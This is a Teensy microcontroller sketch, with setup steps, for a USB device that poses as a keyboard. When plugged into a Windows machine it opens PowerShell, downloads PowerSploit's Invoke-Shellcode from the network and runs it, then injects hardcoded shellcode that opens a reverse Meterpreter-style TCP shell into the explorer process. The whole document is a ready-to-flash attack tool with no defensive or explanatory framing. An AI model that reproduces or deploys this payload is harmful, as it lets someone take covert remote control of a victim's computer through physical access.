# Teensy sketch: Reverse Meterpreter

$ mkdir teensy
$ cd teensy
$ wget -O arduino-1.6.7-linux64.tar.xz https://www.arduino.cc/download.php?f=/arduino-1.6.7-linux64.tar.xz
$ tar xvf arduino-1.6.7-linux64.tar.xz
$ wget http://www.pjrc.com/teensy/td_127/teensyduino.64bit
$ chmod +x teensyduino.64bit
$ ./teensyduino.64bit
$ wget http://www.pjrc.com/teensy/49-teensy.rules
$ sudo cp 49-teensy.rules /etc/udev/rules.d/.
$ cd arduino-1.6.7
$ ./arduino
>> Tools > Board > Teensy 3.2
>> Tools > USB Type > Keyboard + Mouse + Joystick

// Sketch

const int led_pin = 13;

void blink_fast(int blinkrate, int delaytime) {
  pinMode(led_pin, OUTPUT);
  int blinkcounter = 0;
  for(blinkcounter = 0; blinkcounter != blinkrate; blinkcounter++) {
    digitalWrite(led_pin, HIGH);
    delay(delaytime);
    digitalWrite(led_pin, LOW);
    delay(delaytime);
  }
}

bool is_num_on(void) {
  return ((ledkeys() & 1) == 1) ? true : false;
}

int ledkeys(void) {
  return int(keyboard_leds);
}

void make_sure_numlock_is_off(void) {
  if (is_num_on())  {
    delay(100);
    press_numlock();
    delay(100);
    unpress_key();
    delay(100);
  }
}

void minimise_windows(void) {
  Keyboard.set_modifier((unsigned char) MODIFIERKEY_RIGHT_GUI);
  Keyboard.set_key1((unsigned char) KEY_M);
  Keyboard.send_now();
  unpress_key();
}

void press_numlock(void) {
  Keyboard.set_key1((unsigned char) KEY_NUM_LOCK);
  Keyboard.send_now();
}

void reverse_meterpreter(void) {
  blink_fast(5, 75);
  Keyboard.println(F("$processid = ps explorer | select -expand id"));
  Keyboard.println(F("iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1')"));
  Keyboard.println(F("invoke-shellcode -shellcode 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x11,0x5c,0x7f,0x00,0x00,0x01,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 -force -processid $processid"));
  Keyboard.println(F("exit"));
}

void powershell_prompt(void) {
  blink_fast(5, 75);
  make_sure_numlock_is_off();
  Keyboard.set_modifier((unsigned char) MODIFIERKEY_RIGHT_GUI);
  Keyboard.set_key1((unsigned char) KEY_R);
  Keyboard.send_now();
  unpress_key();
  delay(500);
  Keyboard.println("powershell");
  delay(200);
}

void unpress_key(void) {
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

void wait_for_drivers(unsigned int speed) {
  bool numLockTrap = is_num_on();
  while(numLockTrap == is_num_on()) {
    blink_fast(5, 75);
    press_numlock();
    unpress_key();
    delay(speed);
  }
}

void setup() {
  wait_for_drivers(100);
  minimise_windows();
  powershell_prompt();
  reverse_meterpreter();
}

void loop() {
}